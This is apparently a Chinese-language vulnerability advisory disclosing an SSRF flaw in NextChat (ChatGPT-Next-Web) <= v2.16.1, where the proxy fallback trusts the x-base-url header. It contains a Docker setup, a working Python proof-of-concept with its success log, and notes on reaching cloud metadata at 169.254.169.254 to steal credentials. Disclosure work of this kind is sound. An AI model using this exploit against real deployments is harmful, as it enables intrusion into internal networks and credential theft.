### 漏洞概述 **标题**: 通过开放代理回退(`x-base-url` Header)的服务器端请求伪造(SSRF) **描述**: - **漏洞类型**: 服务器端请求伪造(SSRF) - **影响**: 允许未认证的攻击者执行任意HTTP请求,访问内部或外部网络。 - **原因**: NextChat Next.js 代理路由处理程序 (`app/api/proxy.ts`) 在接收到未识别的提供商时,会调用通用的回退处理程序 (`app/api/[provider]/[...path]/route.ts`)。该处理程序错误地信任 `x-base-url` HTTP 头来确定目标 URL,而没有进行域名验证。 ### 影响范围 - **受影响产品**: - **生态系统**: npm - **包名**: nextchat (ChatGPT-Next-Web) - **受影响版本**: <= v2.16.1 - **修复版本**: 未指定 - **严重程度**: 高 - **CVSS 向量字符串**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - **弱点**: CWE-918: 服务器端请求伪造(SSRF) ### 修复方案 - **具体修复**: 在 `proxyHandler` 中增加严格的域名白名单和输入验证,防止恶意内部目标被直接访问。 ### POC 代码 #### Docker Compose 配置 ```yaml services: nextchat: build: context: ../.. dockerfile: Dockerfile container_name: nextchat-proxy-ssrf ports: - "3000:3000" environment: - BASE_URL=http://localhost:3000 ``` #### Python 利用脚本 ```python import requests def test_proxy_ssr(): target = "http://localhost:3000/api/unknown-provider/get?foo=bar" headers = { "x-base-url": "http://httpbin.org" } try: response = requests.get(target, headers=headers, timeout=10) print("[*] Proxy SSRF Response Status:", response.status_code) print("[*] Response body snippet:") print(response.text[:500]) if "httpbin.org" in response.text and response.status_code == 200: print("[SUCCESS] Exploit bypassed routing and hit target via Proxy SSRF!") else: print("[FAILED] Request blocked or failed. Status:", response.status_code) except Exception as e: print("[FAILED]", e) if __name__ == "__main__": test_proxy_ssr() ``` ### 证据日志 ```plaintext [*] Proxy SSRF Response Status: 200 [*] Response body snippet: { "args": { "foo": "bar" }, ... "headers": { "Host": "httpbin.org", ... } } [SUCCESS] Exploit bypassed routing and hit target via Proxy SSRF! ``` ### 影响 - **攻击者可以利用 SSRF**: - 代理请求到内部网络服务,绕过防火墙。 - 访问内部元数据(如 AWS 云实例元数据服务 `169.254.169.254`)以窃取临时 AWS 云凭证。 - 使用服务器作为开放代理匿名攻击外部域。 ### 发生情况 - **永久链接**: - [https://github.com/Yidaadaa/ChatGPT-Next-Web/blob/main/app/api/proxy.ts](https://github.com/Yidaadaa/ChatGPT-Next-Web/blob/main/app/api/proxy.ts) - [https://github.com/Yidaadaa/ChatGPT-Next-Web/blob/main/app/api/%5Bprovider%5D/%5B...path%5D/route.ts](https://github.com/Yidaadaa/ChatGPT-Next-Web/blob/main/app/api/%5Bprovider%5D/%5B...path%5D/route.ts) - **描述**: - `proxyHandler` 盲目信任 `x-base-url` 头,没有域名白名单或循环验证来确定上游代理目标。 - 回退路由器将未知提供商直接路由到不安全的 `proxyHandler`。